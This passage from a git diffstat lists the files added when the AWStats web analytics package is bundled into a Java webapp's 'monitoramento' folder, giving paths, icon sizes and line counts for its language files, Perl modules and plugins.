480 bytes .../wwwroot/cgi-bin/icon/flags/mx.png | Bin 0 -> 231 bytes .../wwwroot/cgi-bin/icon/flags/my.png | Bin 0 -> 272 bytes .../wwwroot/cgi-bin/icon/flags/mz.png | Bin 0 -> 294 bytes .../wwwroot/cgi-bin/icon/flags/na.png | Bin 0 -> 300 bytes .../wwwroot/cgi-bin/icon/flags/name.png | Bin 0 -> 381 bytes .../wwwroot/cgi-bin/icon/flags/nato.png | Bin 0 -> 158 bytes .../wwwroot/cgi-bin/icon/flags/nb.png | Bin 0 -> 243 bytes .../wwwroot/cgi-bin/icon/flags/nc.png | Bin 0 -> 191 bytes .../wwwroot/cgi-bin/icon/flags/ne.png | Bin 0 -> 247 bytes .../wwwroot/cgi-bin/icon/flags/net.png | Bin 0 -> 381 bytes .../wwwroot/cgi-bin/icon/flags/ng.png | Bin 0 -> 220 bytes .../wwwroot/cgi-bin/icon/flags/ni.png | Bin 0 -> 246 bytes .../wwwroot/cgi-bin/icon/flags/nl.png | Bin 0 -> 214 bytes .../wwwroot/cgi-bin/icon/flags/nn.png | Bin 0 -> 243 bytes .../wwwroot/cgi-bin/icon/flags/no.png | Bin 0 -> 243 bytes .../wwwroot/cgi-bin/icon/flags/np.png | Bin 0 -> 288 bytes .../wwwroot/cgi-bin/icon/flags/nr.png | Bin 0 -> 461 bytes .../wwwroot/cgi-bin/icon/flags/nt.png | Bin 0 -> 381 bytes .../wwwroot/cgi-bin/icon/flags/nu.png | Bin 0 -> 280 bytes .../wwwroot/cgi-bin/icon/flags/nz.png | Bin 0 -> 254 bytes .../wwwroot/cgi-bin/icon/flags/om.png | Bin 0 -> 230 bytes .../wwwroot/cgi-bin/icon/flags/org.png | Bin 0 -> 381 bytes .../wwwroot/cgi-bin/icon/flags/pa.png | Bin 0 -> 265 bytes .../wwwroot/cgi-bin/icon/flags/pe.png | Bin 0 -> 238 bytes .../wwwroot/cgi-bin/icon/flags/pf.png | Bin 0 -> 276 bytes .../wwwroot/cgi-bin/icon/flags/pg.png | Bin 0 -> 215 bytes .../wwwroot/cgi-bin/icon/flags/ph.png | Bin 0 -> 267 bytes .../wwwroot/cgi-bin/icon/flags/pk.png | Bin 0 -> 269 bytes .../wwwroot/cgi-bin/icon/flags/pl.png | Bin 0 -> 241 bytes .../wwwroot/cgi-bin/icon/flags/pr.png | Bin 0 -> 313 bytes .../wwwroot/cgi-bin/icon/flags/pro.png | Bin 0 -> 381 bytes .../wwwroot/cgi-bin/icon/flags/ps.png | Bin 0 -> 222 bytes .../wwwroot/cgi-bin/icon/flags/pt.png | Bin 0 -> 249 bytes .../wwwroot/cgi-bin/icon/flags/py.png | Bin 0 -> 256 bytes .../wwwroot/cgi-bin/icon/flags/qa.png | Bin 0 -> 242 bytes .../wwwroot/cgi-bin/icon/flags/re.png | Bin 0 -> 308 bytes .../wwwroot/cgi-bin/icon/flags/ro.png | Bin 0 -> 232 bytes .../wwwroot/cgi-bin/icon/flags/rs.png | Bin 0 -> 684 bytes .../wwwroot/cgi-bin/icon/flags/ru.png | Bin 0 -> 220 bytes .../wwwroot/cgi-bin/icon/flags/rw.png | Bin 0 -> 247 bytes .../wwwroot/cgi-bin/icon/flags/sa.png | Bin 0 -> 245 bytes .../wwwroot/cgi-bin/icon/flags/sb.png | Bin 0 -> 299 bytes .../wwwroot/cgi-bin/icon/flags/sc.png | Bin 0 -> 330 bytes .../wwwroot/cgi-bin/icon/flags/sd.png | Bin 0 -> 299 bytes .../wwwroot/cgi-bin/icon/flags/se.png | Bin 0 -> 229 bytes .../wwwroot/cgi-bin/icon/flags/sg.png | Bin 0 -> 233 bytes .../wwwroot/cgi-bin/icon/flags/si.png | Bin 0 -> 249 bytes .../wwwroot/cgi-bin/icon/flags/sk.png | Bin 0 -> 251 bytes .../wwwroot/cgi-bin/icon/flags/sl.png | Bin 0 -> 469 bytes .../wwwroot/cgi-bin/icon/flags/sm.png | Bin 0 -> 148 bytes .../wwwroot/cgi-bin/icon/flags/sn.png | Bin 0 -> 258 bytes .../wwwroot/cgi-bin/icon/flags/sr.png | Bin 0 -> 205 bytes .../wwwroot/cgi-bin/icon/flags/st.png | Bin 0 -> 233 bytes .../wwwroot/cgi-bin/icon/flags/su.png | Bin 0 -> 238 bytes .../wwwroot/cgi-bin/icon/flags/sv.png | Bin 0 -> 219 bytes .../wwwroot/cgi-bin/icon/flags/sy.png | Bin 0 -> 238 bytes .../wwwroot/cgi-bin/icon/flags/sz.png | Bin 0 -> 319 bytes .../wwwroot/cgi-bin/icon/flags/tc.png | Bin 0 -> 272 bytes .../wwwroot/cgi-bin/icon/flags/td.png | Bin 0 -> 222 bytes .../wwwroot/cgi-bin/icon/flags/tf.png | Bin 0 -> 231 bytes .../wwwroot/cgi-bin/icon/flags/tg.png | Bin 0 -> 238 bytes .../wwwroot/cgi-bin/icon/flags/th.png | Bin 0 -> 229 bytes .../wwwroot/cgi-bin/icon/flags/tk.png | Bin 0 -> 270 bytes .../wwwroot/cgi-bin/icon/flags/tm.png | Bin 0 -> 291 bytes .../wwwroot/cgi-bin/icon/flags/tn.png | Bin 0 -> 234 bytes .../wwwroot/cgi-bin/icon/flags/to.png | Bin 0 -> 231 bytes .../wwwroot/cgi-bin/icon/flags/tr.png | Bin 0 -> 244 bytes .../wwwroot/cgi-bin/icon/flags/tt.png | Bin 0 -> 223 bytes .../wwwroot/cgi-bin/icon/flags/tv.png | Bin 0 -> 274 bytes .../wwwroot/cgi-bin/icon/flags/tw.png | Bin 0 -> 226 bytes .../wwwroot/cgi-bin/icon/flags/tz.png | Bin 0 -> 250 bytes .../wwwroot/cgi-bin/icon/flags/ua.png | Bin 0 -> 239 bytes .../wwwroot/cgi-bin/icon/flags/ug.png | Bin 0 -> 224 bytes .../wwwroot/cgi-bin/icon/flags/uk.png | Bin 0 -> 284 bytes .../wwwroot/cgi-bin/icon/flags/um.png | Bin 0 -> 171 bytes .../wwwroot/cgi-bin/icon/flags/unknown.png | Bin 0 -> 191 bytes .../wwwroot/cgi-bin/icon/flags/us.png | Bin 0 -> 252 bytes .../wwwroot/cgi-bin/icon/flags/uy.png | Bin 0 -> 251 bytes .../wwwroot/cgi-bin/icon/flags/uz.png | Bin 0 -> 247 bytes .../wwwroot/cgi-bin/icon/flags/va.png | Bin 0 -> 220 bytes .../wwwroot/cgi-bin/icon/flags/vc.png | Bin 0 -> 210 bytes .../wwwroot/cgi-bin/icon/flags/ve.png | Bin 0 -> 237 bytes .../wwwroot/cgi-bin/icon/flags/vg.png | Bin 0 -> 226 bytes .../wwwroot/cgi-bin/icon/flags/vi.png | Bin 0 -> 275 bytes .../wwwroot/cgi-bin/icon/flags/vn.png | Bin 0 -> 237 bytes .../wwwroot/cgi-bin/icon/flags/vu.png | Bin 0 -> 223 bytes .../wwwroot/cgi-bin/icon/flags/wf.png | Bin 0 -> 260 bytes .../wwwroot/cgi-bin/icon/flags/wlk.png | Bin 0 -> 268 bytes .../wwwroot/cgi-bin/icon/flags/ws.png | Bin 0 -> 347 bytes .../wwwroot/cgi-bin/icon/flags/ye.png | Bin 0 -> 202 bytes .../wwwroot/cgi-bin/icon/flags/yt.png | Bin 0 -> 191 bytes .../wwwroot/cgi-bin/icon/flags/yu.png | Bin 0 -> 206 bytes .../wwwroot/cgi-bin/icon/flags/za.png | Bin 0 -> 251 bytes .../wwwroot/cgi-bin/icon/flags/ze.png | Bin 0 -> 253 bytes .../wwwroot/cgi-bin/icon/flags/zm.png | Bin 0 -> 240 bytes .../wwwroot/cgi-bin/icon/flags/zw.png | Bin 0 -> 271 bytes .../wwwroot/cgi-bin/icon/mime/ai.png | Bin 0 -> 703 bytes .../wwwroot/cgi-bin/icon/mime/archive.png | Bin 0 -> 386 bytes .../wwwroot/cgi-bin/icon/mime/audio.png | Bin 0 -> 610 bytes .../wwwroot/cgi-bin/icon/mime/crystal.png | Bin 0 -> 785 bytes .../wwwroot/cgi-bin/icon/mime/css.png | Bin 0 -> 402 bytes .../wwwroot/cgi-bin/icon/mime/csv.png | Bin 0 -> 342 bytes .../wwwroot/cgi-bin/icon/mime/doc.png | Bin 0 -> 651 bytes .../wwwroot/cgi-bin/icon/mime/document.png | Bin 0 -> 294 bytes .../wwwroot/cgi-bin/icon/mime/dotnet.png | Bin 0 -> 702 bytes .../wwwroot/cgi-bin/icon/mime/encrypt.png | Bin 0 -> 749 bytes .../wwwroot/cgi-bin/icon/mime/flash.png | Bin 0 -> 582 bytes .../wwwroot/cgi-bin/icon/mime/glasses.png | Bin 0 -> 547 bytes .../wwwroot/cgi-bin/icon/mime/html.png | Bin 0 -> 734 bytes .../wwwroot/cgi-bin/icon/mime/image.png | Bin 0 -> 606 bytes .../wwwroot/cgi-bin/icon/mime/jnlp.png | Bin 0 -> 1150 bytes .../wwwroot/cgi-bin/icon/mime/jscript.png | Bin 0 -> 859 bytes .../wwwroot/cgi-bin/icon/mime/library.png | Bin 0 -> 467 bytes .../wwwroot/cgi-bin/icon/mime/lit.png | Bin 0 -> 992 bytes .../wwwroot/cgi-bin/icon/mime/mdb.png | Bin 0 -> 579 bytes .../cgi-bin/icon/mime/notavailable.png | Bin 0 -> 241 bytes .../wwwroot/cgi-bin/icon/mime/ooffice.png | Bin 0 -> 690 bytes .../wwwroot/cgi-bin/icon/mime/other.png | Bin 0 -> 294 bytes .../wwwroot/cgi-bin/icon/mime/page.png | Bin 0 -> 734 bytes .../wwwroot/cgi-bin/icon/mime/pdf.png | Bin 0 -> 591 bytes .../wwwroot/cgi-bin/icon/mime/php.png | Bin 0 -> 538 bytes .../wwwroot/cgi-bin/icon/mime/phshop.png | Bin 0 -> 736 bytes .../wwwroot/cgi-bin/icon/mime/pl.png | Bin 0 -> 687 bytes .../wwwroot/cgi-bin/icon/mime/ppt.png | Bin 0 -> 588 bytes .../wwwroot/cgi-bin/icon/mime/quicktime.png | Bin 0 -> 612 bytes .../wwwroot/cgi-bin/icon/mime/rar.png | Bin 0 -> 1272 bytes .../wwwroot/cgi-bin/icon/mime/readme.txt | 3 + .../wwwroot/cgi-bin/icon/mime/real.png | Bin 0 -> 1406 bytes .../wwwroot/cgi-bin/icon/mime/rss.png | Bin 0 -> 691 bytes .../wwwroot/cgi-bin/icon/mime/runtime.png | Bin 0 -> 1150 bytes .../wwwroot/cgi-bin/icon/mime/script.png | Bin 0 -> 748 bytes .../wwwroot/cgi-bin/icon/mime/svg.png | Bin 0 -> 583 bytes .../wwwroot/cgi-bin/icon/mime/text.png | Bin 0 -> 342 bytes .../wwwroot/cgi-bin/icon/mime/ttf.png | Bin 0 -> 605 bytes .../wwwroot/cgi-bin/icon/mime/unknown.png | Bin 0 -> 786 bytes .../wwwroot/cgi-bin/icon/mime/video.png | Bin 0 -> 653 bytes .../wwwroot/cgi-bin/icon/mime/wmv.png | Bin 0 -> 1421 bytes .../wwwroot/cgi-bin/icon/mime/xls.png | Bin 0 -> 663 bytes .../wwwroot/cgi-bin/icon/mime/xsl.png | Bin 0 -> 402 bytes .../wwwroot/cgi-bin/icon/os/aix.png | Bin 0 -> 330 bytes .../wwwroot/cgi-bin/icon/os/amigaos.png | Bin 0 -> 342 bytes .../wwwroot/cgi-bin/icon/os/apple.png | Bin 0 -> 318 bytes .../wwwroot/cgi-bin/icon/os/atari.png | Bin 0 -> 347 bytes .../wwwroot/cgi-bin/icon/os/beos.png | Bin 0 -> 275 bytes .../wwwroot/cgi-bin/icon/os/blackberry.png | Bin 0 -> 351 bytes .../wwwroot/cgi-bin/icon/os/bsd.png | Bin 0 -> 253 bytes .../wwwroot/cgi-bin/icon/os/bsddflybsd.png | Bin 0 -> 329 bytes .../wwwroot/cgi-bin/icon/os/bsdfreebsd.png | Bin 0 -> 329 bytes .../wwwroot/cgi-bin/icon/os/bsdi.png | Bin 0 -> 253 bytes .../wwwroot/cgi-bin/icon/os/bsdkfreebsd.png | Bin 0 -> 329 bytes .../wwwroot/cgi-bin/icon/os/bsdnetbsd.png | Bin 0 -> 329 bytes .../wwwroot/cgi-bin/icon/os/bsdopenbsd.png | Bin 0 -> 358 bytes .../wwwroot/cgi-bin/icon/os/commodore.png | Bin 0 -> 842 bytes .../wwwroot/cgi-bin/icon/os/cpm.png | Bin 0 -> 191 bytes .../wwwroot/cgi-bin/icon/os/debian.png | Bin 0 -> 315 bytes .../wwwroot/cgi-bin/icon/os/digital.png | Bin 0 -> 262 bytes .../wwwroot/cgi-bin/icon/os/dos.png | Bin 0 -> 300 bytes .../wwwroot/cgi-bin/icon/os/dreamcast.png | Bin 0 -> 322 bytes .../wwwroot/cgi-bin/icon/os/freebsd.png | Bin 0 -> 329 bytes .../wwwroot/cgi-bin/icon/os/gnu.png | Bin 0 -> 313 bytes .../wwwroot/cgi-bin/icon/os/hpux.png | Bin 0 -> 338 bytes .../wwwroot/cgi-bin/icon/os/ibm.png | Bin 0 -> 238 bytes .../wwwroot/cgi-bin/icon/os/imode.png | Bin 0 -> 272 bytes .../wwwroot/cgi-bin/icon/os/inferno.png | Bin 0 -> 552 bytes .../wwwroot/cgi-bin/icon/os/ios.png | Bin 0 -> 486 bytes .../wwwroot/cgi-bin/icon/os/iphone.png | Bin 0 -> 486 bytes .../wwwroot/cgi-bin/icon/os/irix.png | Bin 0 -> 317 bytes .../wwwroot/cgi-bin/icon/os/j2me.png | Bin 0 -> 552 bytes .../wwwroot/cgi-bin/icon/os/java.png | Bin 0 -> 288 bytes .../wwwroot/cgi-bin/icon/os/kfreebsd.png | Bin 0 -> 329 bytes .../wwwroot/cgi-bin/icon/os/linux.png | Bin 0 -> 320 bytes .../wwwroot/cgi-bin/icon/os/linuxandroid.png | Bin 0 -> 230 bytes .../wwwroot/cgi-bin/icon/os/linuxasplinux.png | Bin 0 -> 320 bytes .../wwwroot/cgi-bin/icon/os/linuxcentos.png | Bin 0 -> 641 bytes .../wwwroot/cgi-bin/icon/os/linuxdebian.png | Bin 0 -> 623 bytes .../wwwroot/cgi-bin/icon/os/linuxfedora.png | Bin 0 -> 504 bytes .../wwwroot/cgi-bin/icon/os/linuxgentoo.png | Bin 0 -> 693 bytes .../wwwroot/cgi-bin/icon/os/linuxmandr.png | Bin 0 -> 450 bytes .../cgi-bin/icon/os/linuxpclinuxos.png | Bin 0 -> 320 bytes .../wwwroot/cgi-bin/icon/os/linuxredhat.png | Bin 0 -> 565 bytes .../wwwroot/cgi-bin/icon/os/linuxsuse.png | Bin 0 -> 434 bytes .../wwwroot/cgi-bin/icon/os/linuxubuntu.png | Bin 0 -> 628 bytes .../wwwroot/cgi-bin/icon/os/linuxvine.png | Bin 0 -> 320 bytes .../wwwroot/cgi-bin/icon/os/linuxzenwalk.png | Bin 0 -> 320 bytes .../wwwroot/cgi-bin/icon/os/mac.png | Bin 0 -> 282 bytes .../wwwroot/cgi-bin/icon/os/macintosh.png | Bin 0 -> 282 bytes .../wwwroot/cgi-bin/icon/os/macosx.png | Bin 0 -> 329 bytes .../wwwroot/cgi-bin/icon/os/macosx4.png | Bin 0 -> 329 bytes .../wwwroot/cgi-bin/icon/os/macosx5.png | Bin 0 -> 329 bytes .../wwwroot/cgi-bin/icon/os/macosx6.png | Bin 0 -> 329 bytes .../wwwroot/cgi-bin/icon/os/macosx7.png | Bin 0 -> 329 bytes .../wwwroot/cgi-bin/icon/os/macosx8.png | Bin 0 -> 329 bytes .../wwwroot/cgi-bin/icon/os/macosx9.png | Bin 0 -> 329 bytes .../wwwroot/cgi-bin/icon/os/netbsd.png | Bin 0 -> 329 bytes .../wwwroot/cgi-bin/icon/os/netware.png | Bin 0 -> 292 bytes .../wwwroot/cgi-bin/icon/os/next.png | Bin 0 -> 292 bytes .../wwwroot/cgi-bin/icon/os/openbsd.png | Bin 0 -> 358 bytes .../wwwroot/cgi-bin/icon/os/os2.png | Bin 0 -> 321 bytes .../wwwroot/cgi-bin/icon/os/osf.png | Bin 0 -> 299 bytes .../wwwroot/cgi-bin/icon/os/palmos.png | Bin 0 -> 351 bytes .../wwwroot/cgi-bin/icon/os/psp.png | Bin 0 -> 404 bytes .../wwwroot/cgi-bin/icon/os/qnx.png | Bin 0 -> 249 bytes .../wwwroot/cgi-bin/icon/os/riscos.png | Bin 0 -> 273 bytes .../wwwroot/cgi-bin/icon/os/sco.png | Bin 0 -> 252 bytes .../wwwroot/cgi-bin/icon/os/sunos.png | Bin 0 -> 210 bytes .../wwwroot/cgi-bin/icon/os/syllable.png | Bin 0 -> 552 bytes .../wwwroot/cgi-bin/icon/os/symbian.png | Bin 0 -> 298 bytes .../wwwroot/cgi-bin/icon/os/unix.png | Bin 0 -> 302 bytes .../wwwroot/cgi-bin/icon/os/unknown.png | Bin 0 -> 218 bytes .../wwwroot/cgi-bin/icon/os/vms.png | Bin 0 -> 301 bytes .../wwwroot/cgi-bin/icon/os/webtv.png | Bin 0 -> 319 bytes .../wwwroot/cgi-bin/icon/os/wii.png | Bin 0 -> 552 bytes .../wwwroot/cgi-bin/icon/os/win.png | Bin 0 -> 334 bytes .../wwwroot/cgi-bin/icon/os/win16.png | Bin 0 -> 334 bytes .../wwwroot/cgi-bin/icon/os/win2000.png | Bin 0 -> 334 bytes .../wwwroot/cgi-bin/icon/os/win2003.png | Bin 0 -> 318 bytes .../wwwroot/cgi-bin/icon/os/win2008.png | Bin 0 -> 318 bytes .../wwwroot/cgi-bin/icon/os/win7.png | Bin 0 -> 729 bytes .../wwwroot/cgi-bin/icon/os/win95.png | Bin 0 -> 334 bytes .../wwwroot/cgi-bin/icon/os/win98.png | Bin 0 -> 334 bytes .../wwwroot/cgi-bin/icon/os/wince.png | Bin 0 -> 334 bytes .../wwwroot/cgi-bin/icon/os/winlong.png | Bin 0 -> 729 bytes .../wwwroot/cgi-bin/icon/os/winme.png | Bin 0 -> 334 bytes .../wwwroot/cgi-bin/icon/os/winnt.png | Bin 0 -> 334 bytes .../wwwroot/cgi-bin/icon/os/winunknown.png | Bin 0 -> 334 bytes .../wwwroot/cgi-bin/icon/os/winvista.png | Bin 0 -> 318 bytes .../wwwroot/cgi-bin/icon/os/winxbox.png | Bin 0 -> 661 bytes .../wwwroot/cgi-bin/icon/os/winxp.png | Bin 0 -> 318 bytes .../cgi-bin/icon/other/awstats_logo1.png | Bin 0 -> 2144 bytes .../cgi-bin/icon/other/awstats_logo5.png | Bin 0 -> 3693 bytes .../cgi-bin/icon/other/awstats_logo6.png | Bin 0 -> 2715 bytes .../wwwroot/cgi-bin/icon/other/backleft.png | Bin 0 -> 192 bytes .../wwwroot/cgi-bin/icon/other/button.gif | Bin 0 -> 147 bytes .../wwwroot/cgi-bin/icon/other/he.png | Bin 0 -> 269 bytes .../wwwroot/cgi-bin/icon/other/hh.png | Bin 0 -> 266 bytes .../wwwroot/cgi-bin/icon/other/hk.png | Bin 0 -> 262 bytes .../wwwroot/cgi-bin/icon/other/hp.png | Bin 0 -> 269 bytes .../wwwroot/cgi-bin/icon/other/ht.png | Bin 0 -> 269 bytes .../wwwroot/cgi-bin/icon/other/hx.png | Bin 0 -> 269 bytes .../wwwroot/cgi-bin/icon/other/menu1.png | Bin 0 -> 466 bytes .../wwwroot/cgi-bin/icon/other/menu2.png | Bin 0 -> 562 bytes .../wwwroot/cgi-bin/icon/other/menu3.png | Bin 0 -> 1243 bytes .../wwwroot/cgi-bin/icon/other/menu4.png | Bin 0 -> 548 bytes .../wwwroot/cgi-bin/icon/other/menu5.png | Bin 0 -> 521 bytes .../wwwroot/cgi-bin/icon/other/menu6.png | Bin 0 -> 1217 bytes .../wwwroot/cgi-bin/icon/other/menu7.png | Bin 0 -> 591 bytes .../wwwroot/cgi-bin/icon/other/menu8.png | Bin 0 -> 539 bytes .../wwwroot/cgi-bin/icon/other/page.png | Bin 0 -> 252 bytes .../wwwroot/cgi-bin/icon/other/vh.png | Bin 0 -> 239 bytes .../wwwroot/cgi-bin/icon/other/vk.png | Bin 0 -> 236 bytes .../wwwroot/cgi-bin/icon/other/vp.png | Bin 0 -> 248 bytes .../wwwroot/cgi-bin/icon/other/vu.png | Bin 0 -> 239 bytes .../wwwroot/cgi-bin/icon/other/vv.png | Bin 0 -> 239 bytes .../wwwroot/cgi-bin/lang/awstats-al.txt | 134 + .../wwwroot/cgi-bin/lang/awstats-ar.txt | 169 + .../wwwroot/cgi-bin/lang/awstats-ba.txt | 174 + .../wwwroot/cgi-bin/lang/awstats-be.txt | 176 + .../wwwroot/cgi-bin/lang/awstats-bg.txt | 161 + .../wwwroot/cgi-bin/lang/awstats-br.txt | 174 + .../wwwroot/cgi-bin/lang/awstats-bzg.txt | 175 + .../wwwroot/cgi-bin/lang/awstats-ca.txt | 168 + .../wwwroot/cgi-bin/lang/awstats-cn.txt | 182 + .../wwwroot/cgi-bin/lang/awstats-cy.txt | 138 + .../wwwroot/cgi-bin/lang/awstats-cz.txt | 180 + .../wwwroot/cgi-bin/lang/awstats-de.txt | 168 + .../wwwroot/cgi-bin/lang/awstats-dk.txt | 177 + .../wwwroot/cgi-bin/lang/awstats-en.txt | 182 + .../wwwroot/cgi-bin/lang/awstats-es.txt | 174 + .../wwwroot/cgi-bin/lang/awstats-et.txt | 138 + .../wwwroot/cgi-bin/lang/awstats-eu.txt | 178 + .../wwwroot/cgi-bin/lang/awstats-fi.txt | 172 + .../wwwroot/cgi-bin/lang/awstats-fr.txt | 181 + .../wwwroot/cgi-bin/lang/awstats-gl.txt | 172 + .../wwwroot/cgi-bin/lang/awstats-gr.txt | 174 + .../wwwroot/cgi-bin/lang/awstats-he.txt | 187 + .../wwwroot/cgi-bin/lang/awstats-hr.txt | 174 + .../wwwroot/cgi-bin/lang/awstats-hu.txt | 176 + .../wwwroot/cgi-bin/lang/awstats-id.txt | 137 + .../wwwroot/cgi-bin/lang/awstats-is.txt | 172 + .../wwwroot/cgi-bin/lang/awstats-it.txt | 188 + .../wwwroot/cgi-bin/lang/awstats-jp.txt | 171 + .../wwwroot/cgi-bin/lang/awstats-ko.txt | 174 + .../wwwroot/cgi-bin/lang/awstats-lt.txt | 183 + .../wwwroot/cgi-bin/lang/awstats-lv.txt | 178 + .../wwwroot/cgi-bin/lang/awstats-mk.txt | 174 + .../wwwroot/cgi-bin/lang/awstats-nb.txt | 171 + .../wwwroot/cgi-bin/lang/awstats-nl.txt | 179 + .../wwwroot/cgi-bin/lang/awstats-nn.txt | 159 + .../wwwroot/cgi-bin/lang/awstats-pl.txt | 174 + .../wwwroot/cgi-bin/lang/awstats-pt.txt | 168 + .../wwwroot/cgi-bin/lang/awstats-ro.txt | 114 + .../wwwroot/cgi-bin/lang/awstats-ru.txt | 176 + .../wwwroot/cgi-bin/lang/awstats-se.txt | 171 + .../wwwroot/cgi-bin/lang/awstats-si.txt | 176 + .../wwwroot/cgi-bin/lang/awstats-sk.txt | 176 + .../wwwroot/cgi-bin/lang/awstats-sr.txt | 168 + .../wwwroot/cgi-bin/lang/awstats-th.txt | 172 + .../wwwroot/cgi-bin/lang/awstats-tr.txt | 179 + .../wwwroot/cgi-bin/lang/awstats-tw.txt | 189 + .../wwwroot/cgi-bin/lang/awstats-ua.txt | 157 + .../cgi-bin/lang/tooltips_f/awstats-tt-br.txt | 35 + .../cgi-bin/lang/tooltips_f/awstats-tt-cz.txt | 34 + .../cgi-bin/lang/tooltips_f/awstats-tt-en.txt | 34 + .../cgi-bin/lang/tooltips_f/awstats-tt-gl.txt | 34 + .../cgi-bin/lang/tooltips_f/awstats-tt-gr.txt | 33 + .../cgi-bin/lang/tooltips_f/awstats-tt-is.txt | 34 + .../cgi-bin/lang/tooltips_f/awstats-tt-it.txt | 34 + .../cgi-bin/lang/tooltips_f/awstats-tt-ru.txt | 34 + .../cgi-bin/lang/tooltips_m/awstats-tt-br.txt | 88 + .../cgi-bin/lang/tooltips_m/awstats-tt-cz.txt | 68 + .../cgi-bin/lang/tooltips_m/awstats-tt-en.txt | 68 + .../cgi-bin/lang/tooltips_m/awstats-tt-fr.txt | 68 + .../cgi-bin/lang/tooltips_m/awstats-tt-gl.txt | 63 + .../cgi-bin/lang/tooltips_m/awstats-tt-gr.txt | 65 + .../cgi-bin/lang/tooltips_m/awstats-tt-is.txt | 64 + .../cgi-bin/lang/tooltips_m/awstats-tt-it.txt | 68 + .../cgi-bin/lang/tooltips_m/awstats-tt-ru.txt | 68 + .../cgi-bin/lang/tooltips_w/awstats-tt-al.txt | 69 + .../cgi-bin/lang/tooltips_w/awstats-tt-ba.txt | 54 + .../cgi-bin/lang/tooltips_w/awstats-tt-bg.txt | 69 + .../cgi-bin/lang/tooltips_w/awstats-tt-br.txt | 141 + .../cgi-bin/lang/tooltips_w/awstats-tt-ca.txt | 68 + .../cgi-bin/lang/tooltips_w/awstats-tt-cn.txt | 49 + .../cgi-bin/lang/tooltips_w/awstats-tt-cz.txt | 75 + .../cgi-bin/lang/tooltips_w/awstats-tt-de.txt | 62 + .../cgi-bin/lang/tooltips_w/awstats-tt-dk.txt | 75 + .../cgi-bin/lang/tooltips_w/awstats-tt-en.txt | 76 + .../cgi-bin/lang/tooltips_w/awstats-tt-es.txt | 68 + .../cgi-bin/lang/tooltips_w/awstats-tt-fi.txt | 69 + .../cgi-bin/lang/tooltips_w/awstats-tt-fr.txt | 77 + .../cgi-bin/lang/tooltips_w/awstats-tt-gl.txt | 74 + .../cgi-bin/lang/tooltips_w/awstats-tt-gr.txt | 74 + .../cgi-bin/lang/tooltips_w/awstats-tt-hu.txt | 71 + .../cgi-bin/lang/tooltips_w/awstats-tt-is.txt | 74 + .../cgi-bin/lang/tooltips_w/awstats-tt-it.txt | 76 + .../cgi-bin/lang/tooltips_w/awstats-tt-jp.txt | 63 + .../cgi-bin/lang/tooltips_w/awstats-tt-kr.txt | 62 + .../cgi-bin/lang/tooltips_w/awstats-tt-nb.txt | 62 + .../cgi-bin/lang/tooltips_w/awstats-tt-nl.txt | 53 + .../cgi-bin/lang/tooltips_w/awstats-tt-nn.txt | 68 + .../cgi-bin/lang/tooltips_w/awstats-tt-pl.txt | 68 + .../cgi-bin/lang/tooltips_w/awstats-tt-ro.txt | 86 + .../cgi-bin/lang/tooltips_w/awstats-tt-ru.txt | 53 + .../cgi-bin/lang/tooltips_w/awstats-tt-se.txt | 62 + .../cgi-bin/lang/tooltips_w/awstats-tt-sk.txt | 55 + .../cgi-bin/lang/tooltips_w/awstats-tt-sr.txt | 72 + .../cgi-bin/lang/tooltips_w/awstats-tt-tr.txt | 53 + .../cgi-bin/lang/tooltips_w/awstats-tt-tw.txt | 48 + .../cgi-bin/lang/tooltips_w/awstats-tt-ua.txt | 81 + .../wwwroot/cgi-bin/lib/blacklist.txt | 3133 +++ .../wwwroot/cgi-bin/lib/browsers.pm | 775 + .../wwwroot/cgi-bin/lib/browsers_phone.pm | 1512 ++ .../wwwroot/cgi-bin/lib/domains.pm | 100 + .../monitoramento/wwwroot/cgi-bin/lib/mime.pm | 205 + .../wwwroot/cgi-bin/lib/operating_systems.pm | 334 + .../wwwroot/cgi-bin/lib/referer_spam.pm | 49 + .../wwwroot/cgi-bin/lib/robots.pm | 1906 ++ .../wwwroot/cgi-bin/lib/search_engines.pm | 1267 + .../wwwroot/cgi-bin/lib/status_http.pm | 69 + .../wwwroot/cgi-bin/lib/status_smtp.pm | 74 + .../wwwroot/cgi-bin/lib/worms.pm | 73 + .../wwwroot/cgi-bin/observatorio.out | 153 + .../wwwroot/cgi-bin/plugins/clusterinfo.pm | 104 + .../wwwroot/cgi-bin/plugins/decodeutfkeys.pm | 76 + .../cgi-bin/plugins/example/example.pm | 327 + .../wwwroot/cgi-bin/plugins/export_to_csv.pm | 1 + .../wwwroot/cgi-bin/plugins/geoip.pm | 263 + .../cgi-bin/plugins/geoip_asn_maxmind.pm | 539 + .../cgi-bin/plugins/geoip_city_maxmind.pm | 4928 ++++ .../cgi-bin/plugins/geoip_isp_maxmind.pm | 508 + .../cgi-bin/plugins/geoip_org_maxmind.pm | 506 + .../cgi-bin/plugins/geoip_region_maxmind.pm | 663 + .../wwwroot/cgi-bin/plugins/geoipfree.pm | 110 + .../wwwroot/cgi-bin/plugins/graphapplet.pm | 130 + .../cgi-bin/plugins/graphgooglechartapi.pm | 660 + .../wwwroot/cgi-bin/plugins/hashfiles.pm | 140 + .../wwwroot/cgi-bin/plugins/hostinfo.pm | 196 + .../wwwroot/cgi-bin/plugins/ipv6.pm | 72 + .../wwwroot/cgi-bin/plugins/rawlog.pm | 133 + .../wwwroot/cgi-bin/plugins/timehires.pm | 57 + .../wwwroot/cgi-bin/plugins/timezone.pm | 314 + .../wwwroot/cgi-bin/plugins/tooltips.pm | 209 + .../wwwroot/cgi-bin/plugins/urlalias.pm | 139 + .../wwwroot/cgi-bin/plugins/userinfo.pm | 105 + .../wwwroot/classes/awgraphapplet.jar | Bin 0 -> 5521 bytes .../wwwroot/classes/src/AWGraphApplet.java | 450 + .../wwwroot/classes/src/Makefile.pl | 13 + .../monitoramento/wwwroot/css/awstats_bw.css | 31 + .../wwwroot/css/awstats_default.css | 31 + .../wwwroot/js/awstats_misc_tracker.js | 161 + 790 files changed, 79060 insertions(+) create mode 100644 src/main/webapp/monitoramento/LEIAME_INSTALACAO create mode 100644 src/main/webapp/monitoramento/README create mode 100644 src/main/webapp/monitoramento/docs/COPYING.TXT create mode 100644 src/main/webapp/monitoramento/docs/LICENSE.TXT create mode 100644 src/main/webapp/monitoramento/docs/awstats.pdf create mode 100644 src/main/webapp/monitoramento/docs/awstats_benchmark.html create mode 100644 src/main/webapp/monitoramento/docs/awstats_changelog.txt create mode 100644 src/main/webapp/monitoramento/docs/awstats_compare.html create mode 100644 src/main/webapp/monitoramento/docs/awstats_config.html create mode 100644 src/main/webapp/monitoramento/docs/awstats_contrib.html create mode 100644 